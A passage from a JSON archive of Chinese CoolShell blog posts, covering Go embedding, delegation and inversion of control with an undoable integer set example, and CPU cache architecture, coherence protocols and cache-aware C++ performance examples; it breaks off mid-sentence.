模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\nThe post [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-26 Go编程模式：委托和反转控制.md",
    "content": "---\nlayout: post\ntitle: Go编程模式：委托和反转控制\ndate: 2020/12/26/ 8:57:48\nupdated: 2020/12/26/ 8:57:48\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.pair_-300x298.png)图片来源：[GopherSource](https://gophersource.com/)\n\n\n反转控制[IoC – Inversion of Control](https://en.wikipedia.org/wiki/Inversion_of_control \"IoC - Inversion of Control\") 是一种软件设计的方法，其主要的思想是把控制逻辑与业务逻辑分享，不要在业务逻辑里写控制逻辑，这样会让控制逻辑依赖于业务逻辑，而是反过来，让业务逻辑依赖控制逻辑。在《[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)》中的那个开关和电灯的示例一样，开关是控制逻辑，电器是业务逻辑，不要在电器中实现开关，而是把开关抽象成一种协议，让电器都依赖之。这样的编程方式可以有效的降低程序复杂度，并提升代码重用。\n\n\n### 本文是全系列中第4 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* Go编程模式：委托和反转控制\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21146.html \"Go 编程模式：Functional Options\")[下一篇文章](https://coolshell.cn/articles/21164.html \"Go编程模式：Map-Reduce\") »\n面向对象的设计模式这里不提了，我们来看看Go语言使用Embed结构的一个示例。\n\n\n\n#### 嵌入和委托\n\n\n##### 结构体嵌入\n\n\n在Go语言中，我们可以很方便的把一个结构体给嵌到另一个结构体中。如下所示：\n\n\n\n```\ntype Widget struct {\n    X, Y int\n}\ntype Label struct {\n    Widget        // Embedding (delegation)\n    Text   string // Aggregation\n}\n```\n\n上面的示例中，我们把 `Widget`嵌入到了 `Label` 中，于是，我们可以这样使用：\n\n\n\n```\nlabel := Label{Widget{10, 10}, \"State:\"}\n\nlabel.X = 11\nlabel.Y = 12\n```\n\n如果在 `Label` 结构体里出现了重名，就需要解决重名，例如，如果 成员 `X` 重名，用 `label.X`表明 是自己的`X` ，用  `label.Wedget.X` 表示嵌入过来的。\n\n\n有了这样的嵌入，就可以像UI组件一样的在结构构的设计上进行层层分解。比如，我可以新出来两个结构体 `Button` 和 `ListBox`：\n\n\n\n```\ntype Button struct {\n    Label // Embedding (delegation)\n}\n\ntype ListBox struct {\n    Widget          // Embedding (delegation)\n    Texts  []string // Aggregation\n    Index  int      // Aggregation\n}\n```\n\n##### 方法重写\n\n\n然后，我们需要两个接口 `Painter` 用于把组件画出来，`Clicker` 用于表明点击事件：\n\n\n\n```\ntype Painter interface {\n    Paint()\n}\n \ntype Clicker interface {\n    Click()\n}\n```\n\n当然，\n\n\n* 对于 `Lable` 来说，只有 `Painter` ，没有`Clicker`\n* 对于 `Button` 和 `ListBox`来说，`Painter` 和`Clicker`都有。\n\n\n下面是一些实现：\n\n\n\n```\nfunc (label Label) Paint() {\n  fmt.Printf(\"%p:Label.Paint(%q)\\n\", &label, label.Text)\n}\n\n//因为这个接口可以通过 Label 的嵌入带到新的结构体，\n//所以，可以在 Button 中可以重载这个接口方法以\nfunc (button Button) Paint() { // Override\n    fmt.Printf(\"Button.Paint(%s)\\n\", button.Text)\n}\nfunc (button Button) Click() {\n    fmt.Printf(\"Button.Click(%s)\\n\", button.Text)\n}\n\n\nfunc (listBox ListBox) Paint() {\n    fmt.Printf(\"ListBox.Paint(%q)\\n\", listBox.Texts)\n}\nfunc (listBox ListBox) Click() {\n    fmt.Printf(\"ListBox.Click(%q)\\n\", listBox.Texts)\n}\n```\n\n这里，需要重点提示一下，**`Button.Paint()` 接口可以通过 Label 的嵌入带到新的结构体，如果 `Button.Paint()` 不实现的话，会调用 `Label.Paint()` ，所以，在 `Button` 中声明 `Paint()` 方法，相当于Override**。\n\n\n##### 嵌入结构多态\n\n\n通过下面的程序可以看到，整个多态是怎么执行的。\n\n\n\n```\nbutton1 := Button{Label{Widget{10, 70}, \"OK\"}}\nbutton2 := NewButton(50, 70, \"Cancel\")\nlistBox := ListBox{Widget{10, 40}, \n    []string{\"AL\", \"AK\", \"AZ\", \"AR\"}, 0}\n\nfor _, painter := range []Painter{label, listBox, button1, button2} {\n    painter.Paint()\n}\n \nfor _, widget := range []interface{}{label, listBox, button1, button2} {\n  widget.(Painter).Paint()\n  if clicker, ok := widget.(Clicker); ok {\n    clicker.Click()\n  }\n  fmt.Println() // print a empty line \n}\n```\n\n我们可以看到，我们可以使用接口来多态，也可以使用 泛型的 `interface{}` 来多态，但是需要有一个类型转换。\n\n\n#### 反转控制\n\n\n我们再来看一个示例，我们有一个存放整数的数据结构，如下所示：\n\n\n\n```\ntype IntSet struct {\n    data map[int]bool\n}\nfunc NewIntSet() IntSet {\n    return IntSet{make(map[int]bool)}\n}\nfunc (set *IntSet) Add(x int) {\n    set.data[x] = true\n}\nfunc (set *IntSet) Delete(x int) {\n    delete(set.data, x)\n}\nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}\n```\n\n其中实现了 `Add()` 、`Delete()` 和 `Contains()` 三个操作，前两个是写操作，后一个是读操作。\n\n\n##### 实现Undo功能\n\n\n现在我们想实现一个 Undo 的功能。我们可以把把 `IntSet` 再包装一下变成 `UndoableIntSet` 代码如下所示：\n\n\n\n```\ntype UndoableIntSet struct { // Poor style\n    IntSet    // Embedding (delegation)\n    functions []func()\n}\n \nfunc NewUndoableIntSet() UndoableIntSet {\n    return UndoableIntSet{NewIntSet(), nil}\n}\n \n\nfunc (set *UndoableIntSet) Add(x int) { // Override\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.functions = append(set.functions, func() { set.Delete(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\n\nfunc (set *UndoableIntSet) Delete(x int) { // Override\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.functions = append(set.functions, func() { set.Add(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\nfunc (set *UndoableIntSet) Undo() error {\n    if len(set.functions) == 0 {\n        return errors.New(\"No functions to undo\")\n    }\n    index := len(set.functions) - 1\n    if function := set.functions[index]; function != nil {\n        function()\n        set.functions[index] = nil // For garbage collection\n    }\n    set.functions = set.functions[:index]\n    return nil\n}\n```\n\n在上面的代码中，我们可以看到\n\n\n* 我们在 `UndoableIntSet` 中嵌入了`IntSet` ，然后Override了 它的 `Add()`和 `Delete()` 方法。\n* `Contains()` 方法没有Override，所以，会被带到 `UndoableInSet` 中来了。\n* 在Override的 `Add()`中，记录 `Delete` 操作\n* 在Override的 `Delete()` 中，记录 `Add` 操作\n* 在新加入 `Undo()` 中进行Undo操作。\n\n\n通过这样的方式来为已有的代码扩展新的功能是一个很好的选择，这样，可以在重用原有代码功能和重新新的功能中达到一个平衡。但是，这种方式最大的问题是，Undo操作其实是一种控制逻辑，并不是业务逻辑，所以，在复用 Undo这个功能上是有问题。因为其中加入了大量跟 `IntSet` 相关的业务逻辑。\n\n\n##### 反转依赖\n\n\n现在我们来看另一种方法：\n\n\n我们先声明一种函数接口，表现我们的Undo控制可以接受的函数签名是什么样的：\n\n\n\n```\ntype Undo []func()\n```\n\n有了上面这个协议后，我们的Undo控制逻辑就可以写成如下：\n\n\n\n```\nfunc (undo *Undo) Add(function func()) {\n  *undo = append(*undo, function)\n}\n\nfunc (undo *Undo) Undo() error {\n  functions := *undo\n  if len(functions) == 0 {\n    return errors.New(\"No functions to undo\")\n  }\n  index := len(functions) - 1\n  if function := functions[index]; function != nil {\n    function()\n    functions[index] = nil // For garbage collection\n  }\n  *undo = functions[:index]\n  return nil\n}\n```\n\n这里你不必觉得奇怪， `Undo` 本来就是一个类型，不必是一个结构体，是一个函数数组也没什么问题。\n\n\n然后，我们在我们的IntSet里嵌入 Undo，然后，再在 `Add()` 和 `Delete()` 里使用上面的方法，就可以完成功能。\n\n\n\n```\ntype IntSet struct {\n    data map[int]bool\n    undo Undo\n}\n \nfunc NewIntSet() IntSet {\n    return IntSet{data: make(map[int]bool)}\n}\n\nfunc (set *IntSet) Undo() error {\n    return set.undo.Undo()\n}\n \nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}\n\nfunc (set *IntSet) Add(x int) {\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.undo.Add(func() { set.Delete(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}\n \nfunc (set *IntSet) Delete(x int) {\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.undo.Add(func() { set.Add(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}\n```\n\n这个就是控制反转，不再由 控制逻辑 `Undo` 来依赖业务逻辑 `IntSet`，而是由业务逻辑 `IntSet` 来依赖 `Undo` 。其依赖的是其实是一个协议，这个协议是一个没有参数的函数数组。我们也可以看到，我们 Undo 的代码就可以复用了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\nThe post [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-3-1 与程序员相关的CPU缓存知识.md",
    "content": "---\nlayout: post\ntitle: 与程序员相关的CPU缓存知识\ndate: 2020/3/1/ 11:43:41\nupdated: 2020/3/1/ 11:43:41\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/03/cpu_512x512-300x300.png)好久没有写一些微观方面的文章了，今天写一篇关于CPU Cache相关的文章，这篇文章比较长，主要分成这么几个部分：基础知识、缓存的命中、缓存的一致性、相关的代码示例和延伸阅读。其中会讲述一些多核 CPU 的系统架构以及其原理，包括对程序性能上的影响，以及在进行并发编程的时候需要注意到的一些问题。这篇文章我会尽量地写简单和通俗易懂一些，主要是讲清楚相关的原理和问题，而对于一些细节和延伸阅读我会在文章最后会给出相关的资源。\n\n\n因为无论你写什么样的代码都会交给CPU来执行，所以，如果你想写出性能比较高的代码，这篇文章中提到的技术还是值得认真学习的。另外，千万别觉得这些东西没用，这些东西非常有用，十多年前就是这些知识在性能调优上帮了我的很多大忙，从而跟很多人拉开了差距……\n\n\n#### 基础知识\n\n\n首先，我们都知道现在的CPU多核技术，都会有几级缓存，老的CPU会有两级内存（L1和L2），新的CPU会有三级内存（L1，L2，L3 ），如下图所示：\n\n\n![](../wp-content/uploads/2020/02/cache.architecture.png)\n\n\n其中：\n\n\n* L1缓存分成两种，一种是指令缓存，一种是数据缓存。L2缓存和L3缓存不分指令和数据。\n* L1和L2缓存在每一个CPU核中，L3则是所有CPU核心共享的内存。\n* L1、L2、L3的越离CPU近就越小，速度也越快，越离CPU远，速度也越慢。\n\n\n再往后面就是内存，内存的后面就是硬盘。我们来看一些他们的速度：\n\n\n* L1 的存取速度：**4 个CPU时钟周期**\n* L2 的存取速度： **11 个CPU时钟周期**\n* L3 的存取速度：**39 个CPU时钟周期**\n* RAM内存的存取速度**：107 个CPU时钟周期**\n\n\n我们可以看到，L1的速度是RAM的27倍，但是L1/L2的大小基本上也就是KB级别的，L3会是MB级别的。例如：[Intel Core i7-8700K](https://en.wikichip.org/wiki/intel/core_i7/i7-8700k) ，是一个6核的CPU，每核上的L1是64KB（数据和指令各32KB），L2 是 256K，L3有2MB（我的苹果电脑是 [Intel Core i9-8950HK](https://en.wikichip.org/wiki/intel/core_i9/i9-8950hk)，和Core i7-8700K的Cache大小一样）。\n\n\n我们的数据就从内存向上，先到L3，再到L2，再到L1，最后到寄存器进行CPU计算。为什么会设计成三层？这里有下面几个方面的考虑：\n\n\n* 一个方面是物理速度，如果要更大的容量就需要更多的晶体管，除了芯片的体积会变大，更重要的是大量的晶体管会导致速度下降，因为访问速度和要访问的晶体管所在的位置成反比，也就是当信号路径变长时，通信速度会变慢。这部分是物理问题。\n* 另外一个问题是，多核技术中，数据的状态需要在多个CPU中进行同步，并且，我们可以看到，cache和RAM的速度差距太大，所以，多级不同尺寸的缓存有利于提高整体的性能。\n\n\n这个世界永远是平衡的，一面变得有多光鲜，另一面也会变得有多黑暗。建立这么多级的缓存，一定就会引入其它的问题，这里有两个比较重要的问题，\n\n\n* 一个是比较简单的缓存的命中率的问题。\n* 另一个是比较复杂的缓存更新的一致性问题。\n\n\n尤其是第二个问题，在多核技术下，这就很像分布式的系统了，要对多个地方进行更新。\n\n\n#### 缓存的命中\n\n\n在说明这两个问题之前。我们需要要解一个术语 Cache Line。缓存基本上来说就是把后面的数据加载到离自己近的地方，对于CPU来说，它是不会一个字节一个字节的加载的，因为这非常没有效率，一般来说都是要一块一块的加载的，对于这样的一块一块的数据单位，术语叫“Cache Line”，一般来说，一个主流的CPU的Cache Line 是 64 Bytes（也有的CPU用32Bytes和128Bytes），64Bytes也就是16个32位的整型，这就是CPU从内存中捞数据上来的最小数据单位。\n\n\n比如：Cache Line是最小单位（64Bytes），所以先把Cache分布多个Cache Line，比如：L1有32KB，那么，32KB/64B = 512 个 Cache Line。\n\n\n一方面，缓存需要把内存里的数据放到放进来，英文叫 CPU Associativity。Cache的数据放置的策略决定了内存中的数据块会拷贝到CPU Cache中的哪个位置上，因为Cache的大小远远小于内存，所以，需要有一种地址关联的算法，能够让内存中的数据可以被映射到Cache中来。这个有点像内存地址从逻辑地址向物理地址映射的方法，但不完全一样。\n\n\n基本上来说，我们会有如下的一些方法。\n\n\n* 一种方法是，任何一个内存地址的数据可以被缓存在任何一个Cache Line里，这种方法是最灵活的，但是，如果我们要知道一个内存是否存在于Cache中，我们就需要进行O(n)复杂度的Cache遍历，这是很没有效率的。\n* 另一种方法，为了降低缓存搜索算法，我们需要使用像Hash Table这样的数据结构，最简单的hash table就是做“求模运算”，比如：我们的L1 Cache有512个Cache Line，那么，公式：`（内存地址 mod 512）* 64` 就可以直接找到所在的Cache地址的偏移了。但是，这样的方式需要我们的程序对内存地址的访问要非常地平均，不然冲突就会非常严重。这成了一种非常理想的情况了。\n* 为了避免上述的两种方案的问题，于是就要容忍一定的hash冲突，也就出现了 N-Way 关联。也就是把连续的N个Cache Line绑成一组，然后，先把找到相关的组，然后再在这个组内找到相关的Cache Line。这叫 Set Associativity。如下图所示。\n\n\n![](../wp-content/uploads/2020/02/cache-associative-fill-both.png)\n\n\n对于 N-Way 组关联，可能有点不好理解，这里个例子，并多说一些细节（不然后面的代码你会不能理解），Intel 大多数处理器的L1 Cache都是32KB，8-Way 组相联，Cache Line 是64 Bytes。这意味着，\n\n\n* 32KB的可以分成，32KB / 64 = 512 条 Cache Line。\n* 因为有8 Way，于是会每一Way 有 512 / 8 = 64 条 Cache Line。\n* 于是每一路就有 64 x 64 = 4096 Byts 的内存。\n\n\n为了方便索引内存地址，\n\n\n* **Tag**：每条 Cache Line 前都会有一个独立分配的 24 bits来存的 tag，其就是内存地址的前24bits\n* **Index**：内存地址后续的6个bits则是在这一Way的是Cache Line 索引，2^6 = 64 刚好可以索引64条Cache Line\n* **Offset**：再往后的6bits用于表示在Cache Line 里的偏移量\n\n\n如下图所示：（图片来自《[Cache: a place for concealment and safekeeping](https://manybutfinite.com/post/intel-cpu-caches/)》）\n\n\n当拿到一个内存地址的时候，先拿出中间的 6bits 来，找到是哪组。\n\n\n![](../wp-content/uploads/2020/03/L1CacheExample.png)\n\n\n然后，在这一个8组的cache line中，再进行O(n) n=8 的遍历，主是要匹配前24bits的tag。如果匹配中了，就算命中，如果没有匹配到，那就是cache miss，如果是读操作，就需要进向后面的缓存进行访问了。L2/L3同样是这样的算法。而淘汰算法有两种，一种是随机一种是LRU。现在一般都是以LRU的算法（通过增加一个访问计数器来实现）\n\n\n![](../wp-content/uploads/2020/03/selectingCacheLine.png)\n\n\n这也意味着：\n\n\n* L1 Cache 可映射 36bits 的内存地址，一共 2^36 = 64GB的内存\n* 当CPU要访问一个内存的时候，通过这个内存中间的6bits 定位是哪个set，通过前 24bits 定位相应的Cache Line。\n* 就像一个hash Table的数据结构一样，先是O(1)的索引，然后进入冲突搜索。\n* 因为中间的 6bits 决定了一个同一个set，所以，对于一段连续的内存来说，每隔4096的内存会被放在同一个组内，导致缓存冲突。\n\n\n此外，当有数据没有命中缓存的时候，CPU就会以最小为Cache Line的单元向内存更新数据。当然，CPU并不一定只是更新64Bytes，因为访问主存实在是太慢了，所以，一般都会多更新一些。好的CPU会有一些预测的技术，如果找到一种pattern的话，就会预先加载更多的内存，包括指令也可以预加载。这叫 Prefetching 技术 （参看，Wikipedia 的 [Cache Prefetching](https://en.wikipedia.org/wiki/Cache_prefetching) 和 [纽约州立大学的 Memory Prefetching](http://compas.cs.stonybrook.edu/~nhonarmand/courses/sp16/cse502/slides/13-prefetch.pdf)）。比如，你在for-loop访问一个连续的数组，你的步长是一个固定的数，内存就可以做到prefetching。（注：指令也是以预加载的方式执行，参看本站的《[代码执行的效率](https://coolshell.cn/articles/7886.html)》中的第三个示例）\n\n\n了解这些细节，会有利于我们知道在什么情况下有可以导致缓存的失效。\n\n\n#### 缓存的一致性\n\n\n对于主流的CPU来说，缓存的写操作基本上是两种策略（参看本站《[缓存更新的套路](https://coolshell.cn/articles/17416.html)》），\n\n\n* 一种是Write Back，写操作只要在cache上，然后再flush到内存上。\n* 一种是Write Through，写操作同时写到cache和内存上。\n\n\n为了提高写的性能，一般来说，主流的CPU（如：Intel Core i7/i9）采用的是Write Back的策略，因为直接写内存实在是太慢了。\n\n\n好了，现在问题来了，如果有一个数据 x 在 CPU 第0核的缓存上被更新了，那么其它CPU核上对于这个数据 x 的值也要被更新，这就是缓存一致性的问题。（当然，对于我们上层的程序我们不用关心CPU多个核的缓存是怎么同步的，这对上层的代码来说都是透明的）\n\n\n一般来说，在CPU硬件上，会有两种方法来解决这个问题。\n\n\n* **Directory 协议**。这种方法的典型实现是要设计一个集中式控制器，它是主存储器控制器的一部分。其中有一个目录存储在主存储器中，其中包含有关各种本地缓存内容的全局状态信息。当单个CPU Cache 发出读写请求时，这个集中式控制器会检查并发出必要的命令，以在主存和CPU Cache之间或在CPU Cache自身之间进行数据同步和传输。\n* **Snoopy 协议**。这种协议更像是一种数据通知的总线型的技术。CPU Cache通过这个协议可以识别其它Cache上的数据状态。如果有数据共享的话，可以通过广播机制将共享数据的状态通知给其它CPU Cache。这个协议要求每个CPU Cache 都可以***“*窥探*”***数据事件的通知并做出相应的反应。如下图所示，有一个Snoopy Bus的总线。\n\n\n**![](../wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x.png)**\n\n\n因为Directory协议是一个中心式的，会有性能瓶颈，而且会增加整体设计的复杂度。而Snoopy协议更像是微服务+消息通讯，所以，现在基本都是使用Snoopy的总线的设计。\n\n\n这里，我想多写一些细节，因为这种微观的东西，让人不自然地就会跟分布式系统关联起来，在分布式系统中我们一般用Paxos/Raft这样的分布式一致性的算法。而在CPU的微观世界里，则不必使用这样的算法，原因是因为CPU的多个核的硬件不必考虑网络会断会延迟的问题。所以，CPU的多核心缓存间的同步的核心就是要管理好数据的状态就好了。\n\n\n这里介绍几个状态协议，先从最简单的开始，MESI协议，这个协议跟那个著名的足球运动员梅西没什么关系，其主要表示缓存数据有四个状态：Modified（已修改）, Exclusive（独占的）,Shared（共享的），Invalid（无效的）。\n\n\n这些状态的状态机如下所示（有点复杂，你可以先不看，这个图就是想告诉你状态控制有多复杂）：\n\n\n![](../wp-content/uploads/2020/02/MESI.png)\n\n\n下面是个示例（如果你想看一下动画演示的话，这里有一个网页（[MESI Interactive Animations](https://www.scss.tcd.ie/Jeremy.Jones/VivioJS/caches/MESIHelp.htm)），你可以进行交互操作，这个动画演示中使用的Write Through算法）：\n\n\n\n\n| 当前操作 | CPU0 | CPU1 | Memory | 说明 |\n| --- | --- | --- | --- | --- |\n| 1) CPU0 read(x) |  x=1 (E) |  | x=1 | 只有一个CPU有 x 变量，\n所以，状态是 Exclusive |\n| 2) CPU1 read(x) |  x=1 (S) | x=1(S) | x=1 | 有两个CPU都读取 x 变量，\n所以状态变成 Shared |\n| 3) CPU0 write(x,9) |  x=9 (M) | x=1(I) | x=1 | 变量改变，在CPU0中状态\n变成 Modified，在CPU1中\n状态变成 Invalid |\n| 4) 变量 x 写回内存 |  x=9 (M) | X=1(I) | x=9 | 目前的状态不变 |\n| 5) CPU1  read(x) |  x=9 (S) | x=9(S) | x=9 | 变量同步到所有的Cache中，\n状态回到Shared |\n\n\n \n\n\nMESI 这种协议在数据更新后，会标记其它共享的CPU缓存的数据拷贝为Invalid状态，然后当其它CPU再次read的时候，就会出现 cache miss 的问题，此时再从内存中更新数据。从内存中更新数据意味着20倍速度的降低。我们能不能直接从我隔壁的CPU缓存中更新？是的，这就可以增加很多速度了，但是状态控制也就变麻烦了。还需要多来一个状态：Owner(宿主)，用于标记，我是更新数据的源。于是，出现了 [MOESI 协议](https://en.wikipedia.org/wiki/MOESI_protocol)\n\n\nMOESI协议的状态机和演示示例我就不贴了（有兴趣可以上[Berkeley上看看相关的课件](https://inst.eecs.berkeley.edu/~cs61c/su18/disc/11/Disc11Sol.pdf)），**我们只需要理解MOESI协议允许 CPU Cache 间同步数据，于是也降低了对内存的操作**，性能是非常大的提升，但是控制逻辑也非常复杂。\n\n\n顺便说一下，与 MOESI 协议类似的一个协议是 [MESIF](https://en.wikipedia.org/wiki/MESIF_protocol)，其中的 F 是 Forward，同样是把更新过的数据转发给别的 CPU Cache 但是，MOESI 中的 Owner 状态 和MESIF 中的 Forward 状态有一个非常大的不一样—— **Owner状态下的数据是dirty的，还没有写回内存，Forward状态下的数据是clean的，可以丢弃而不用另行通知**。\n\n\n需要说明的是，AMD用MOESI，Intel用MESIF。所以，F 状态主要是针对 CPU L3 Cache 设计的（前面我们说过，L3是所有CPU核心共享的）。（相关的比较可以参看[StackOverlow上这个问题的答案](https://stackoverflow.com/a/49989985)）\n\n\n#### 程序性能\n\n\n了解了我们上面的这些东西后，我们来看一下对于程序的影响。\n\n\n##### 示例一\n\n\n首先，假设我们有一个64M长的数组，设想一下下面的两个循环：\n\n\n\n```\nconst int LEN = 64*1024*1024;\nint *arr = new int[LEN];\n\nfor (int i = 0; i < LEN; i += 2) arr[i] *= i;\n\nfor (int i = 0; i < LEN; i += 8) arr[i] *= i;\n```\n\n按我们的想法来看，第二个循环要比第一个循环少4倍的计算量，其应该也是要快4倍的。但实际跑下来并不是，**在我的机器上，第一个循环需要127毫秒，第二个循环则需要121毫秒，相差无几**。这里最主要的原因就是 Cache Line，因为CPU会以一个Cache Line 64Bytes最小时单位加载，也就是16个32bits的整型，所以，无论你步长是2还是8，都差不多。而后面的乘法其实是不耗CPU时间的。\n\n\n##### 示例二\n\n\n我们再来看一个与缓存命中率有关的代码，我们以一定的步长`increment` 来访问一个连续的数组。\n\n\n\n```\nfor (int i = 0; i < 10000000; i++) {\n    for (int j = 0; j < size; j += increment) {\n        memory[j] += j;\n    }\n}\n```\n\n我们测试一下，在下表中， 表头是步长，也就是每次跳多少个整数，而纵向是这个数组可以跳几次（你可以理解为要几条Cache Line），于是表中的任何一项代表了这个数组有多少，而且步长是多少。比如：横轴是 512，纵轴是4，意思是，这个数组有 `4*512 = 2048` 个长度，访问时按512步长访问，也就是访问其中的这几项：`[0, 512, 1024, 1536]` 这四项。\n\n\n表中同的项是，是循环1000万次的时间，单位是“微秒”（除以1000后是毫秒）\n\n\n\n```\n| count |   1    |   16  |  512  | 1024  |\n------------------------------------------\n|     1 |  17539 | 16726 | 15143 | 14477 |\n|     2 |  15420 | 14648 | 13552 | 13343 |\n|     3 |  14716 | 14463 | 15086 | 17509 |\n|     4 |  18976 | 18829 | 18961 | 21645 |\n|     5 |  23693 | 23436 | 74349 | 29796 |\n|     6 |  23264 | 23707 | 27005 | 44103 |\n|     7 |  28574 | 28979 | 33169 | 58759 |\n|     8 |  33155 | 34405 | 39339 | 65182 |\n|     9 |  37088 | 37788 | 49863 |**156745** |\n|    10 |  41543 | 42103 | 58533 |**215278** |\n|    11 |  47638 | 50329 | 66620 |**335603** |\n|    12 |  49759 | 51228 | 75087 |**305075** |\n|    13 |  53938 | 53924 | 77790 |**366879** |\n|    14 |  58422 | 59565 | 90501 |**466368** |\n|    15 |  62161 | 64129 | 90814 |**525780** |\n|    16 |  67061 | 66663 | 98734 |**440558** |\n|    17 |  71132 | 69753 |**171203** |**506631** |\n|    18 |  74102 | 73130 |**293947** |**550920** |\n\n```\n\n我们可以看到，从 `[9，1024]` 以后，时间显著上升。包括 `[17，512]` 和 `[18,512]` 也显著上升。这是因为，我机器的 L1 Cache 是 32KB, 8 Way 的，前面说过，8 Way的有64组，每组8个Cache Line，当for-loop步长超过1024个整型，也就是正好 4096 Bytes时，也就是导致内存地址的变化是变化在高位的24bits上，而低位的12bits变化不大，尤其是中间6bits没有变化，导致全部命中同一组set，导致大量的cache 冲突，导致性能下降，时间上升。而 [16, 512]也是一样的，其中的几步开始导致L1 Cache开始冲突失效。\n\n\n##### 示例三\n\n\n接下来，我们再来看个示例。下面是一个二维数组的两种遍历方式，一个逐行遍历，一个是逐列遍历，这两种方式在理论上来说，寻址和计算量都是一样的，执行时间应该也是一样的。\n\n\n\n```\nconst int row = 1024;\nconst int col = 512\nint matrix[row][col];\n\n//逐行遍历\nint sum_row=0;\nfor(int _r=0; _r<row; _r++) {\n    for(int _c=0; _c<col; _c++){\n        sum_row += matrix[_r][_c];\n    }\n}\n\n//逐列遍历\nint sum_col=0;\nfor(int _c=0; _c<col; _c++) {\n    for(int _r=0; _r<row; _r++){\n        sum_col += matrix[_r][_c];\n    }\n}\n```\n\n然而，并不是，在我的机器上，得到下面的结果。\n\n\n* 逐行遍历：0.081ms\n* 逐列遍历：1.069ms\n\n\n执行时间有十几倍的差距。其中的原因，就是逐列遍历对于CPU Cache 的运作方式并不友好，所以，付出巨大的代价。\n\n\n##### 示例四\n\n\n接下来，我们来看一下多核下的性能问题，参看如下的代码。两个线程在操作一个数组的两个不同的元素（无需加锁），线程循环1000万次，做加法操作。在下面的代码中，我高亮了一行，就是`p2`指针，要么是`p[1]`，或是 `p[30]`，理论上来说，无论访问哪两个数组元素，都应该是一样的执行时间。\n\n\n\n```\nvoid fn (int* data) {\n    for(int i = 0; i < 10*1024*1024; ++i)\n        *data += rand();\n}\n\nint p[32];\n\nint *p1 = &p[0];\nint *p2 = &p[1]; // int *p2 = &p[30];\n\nthread t1(fn, p1);\nthread t2(fn, p2);\n```\n\n然而，并不是，在我的机器上执行下来的结果是：\n\n\n* 对于 `p[0]` 和 `p[1]` ：560ms\n* 对于 `p[0]` 和 `p[30]`：104ms\n\n\n这是因为 `p[0]` 和 `p[1]` 在同一条 Cache Line 上，而 `p[0]` 和 `p[30]` 则不可能在同一条Cache Line 上 ，CPU的缓存最小的更新单位是Cache Line，所以，**这导致虽然两个线程在写不同的数据，但是因为这两个数据在同一条Cache 